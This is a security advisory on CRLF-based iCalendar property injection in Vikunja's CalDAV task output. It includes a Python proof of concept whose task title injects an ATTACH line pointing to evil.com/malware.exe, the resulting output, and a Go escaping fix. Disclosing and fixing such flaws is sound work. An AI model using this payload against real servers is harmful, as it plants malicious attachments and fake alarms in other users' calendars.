Vikunja has iCalendar Property Injection via CRLF in CalDAV Task Output

Summary

The CalDAV output generator builds iCalendar VTODO entries via raw string concatenation without applying RFC 5545 TEXT value escaping. User-controlled task titles containing CRLF characters break the iCalendar property boundary, allowing injection of arbitrary iCalendar properties such as ATTACH, VALARM, or ORGANIZER.

Details

The ParseTodos function at pkg/caldav/caldav.go:146 concatenates the task summary directly into the iCalendar output:

SUMMARY:` + t.Summary + getCaldavColor(t.Color)

RFC 5545 Section 3.3.11 requires TEXT property values to escape newlines as \n, semicolons as \;, commas as \,, and backslashes as \\. None of these escaping rules are applied to Summary, Categories, UID, project name, or alarm Description fields.

Go's JSON decoder preserves literal CR/LF bytes in string values, so task titles created via the REST API retain CRLF characters. When these tasks are served via CalDAV, the newlines break the SUMMARY property and the subsequent text is parsed by CalDAV clients as independent iCalendar properties.

Proof of Concept

Tested on Vikunja v2.2.2.

import requests
from requests.auth import HTTPBasicAuth

TARGET = "http://localhost:3456"
API = f"{TARGET}/api/v1"

token = requests.post(f"{API}/login",
    json={"username": "alice", "password": "Alice1234!"}).json()["token"]
h = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}

proj = requests.put(f"{API}/projects", headers=h, json={"title": "CalDAV Test"}).json()

# create task with CRLF injection in title
task = requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h, json={
    "title": "Meeting\r\nATTACH:https://evil.com/malware.exe\r\nX-INJECTED:pwned"
}).json()

# set UID (normally done by CalDAV sync; here via sqlite for PoC)
# sqlite3 vikunja.db "UPDATE tasks SET uid='inject-test-001' WHERE id={task['id']};"
TASK_UID = "inject-test-001"

# fetch via CalDAV
caldav_token = requests.put(f"{API}/user/settings/token/caldav", headers=h).json()["token"]
r = requests.get(f"{TARGET}/dav/projects/{proj['id']}/{TASK_UID}.ics",
                 auth=HTTPBasicAuth("alice", caldav_token))
print(r.text)

Output:

BEGIN:VCALENDAR
VERSION:2.0
BEGIN:VTODO
UID:inject-test-001
DTSTAMP:20260327T130452Z
SUMMARY:Meeting
ATTACH:https://evil.com/malware.exe
X-INJECTED:pwned
CREATED:20260327T130452Z
LAST-MODIFIED:20260327T130452Z
END:VTODO
END:VCALENDAR

The ATTACH and X-INJECTED lines appear as separate, valid iCalendar properties. CalDAV clients will parse these as legitimate properties.

Impact

An authenticated user with write access to a shared project can create tasks with CRLF-injected titles via the REST API. When other users sync via CalDAV, the injected properties take effect in their calendar clients. This enables:

• Injecting malicious attachment URLs (ATTACH) that clients may auto-download or display
• Creating fake alarm notifications (VALARM) for social engineering
• Spoofing organizer identity (ORGANIZER)

Recommended Fix

Apply RFC 5545 TEXT value escaping to all user-controlled fields:

func escapeICal(s string) string {
    s = strings.ReplaceAll(s, "\\", "\\\\")
    s = strings.ReplaceAll(s, ";", "\\;")
    s = strings.ReplaceAll(s, ",", "\\,")
    s = strings.ReplaceAll(s, "\n", "\\n")
    s = strings.ReplaceAll(s, "\r", "")
    return s
}

Apply escapeICal() to t.Summary, config.Name, t.Categories items, a.Description, t.UID, and r.UID.

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Found and reported by aisafe.io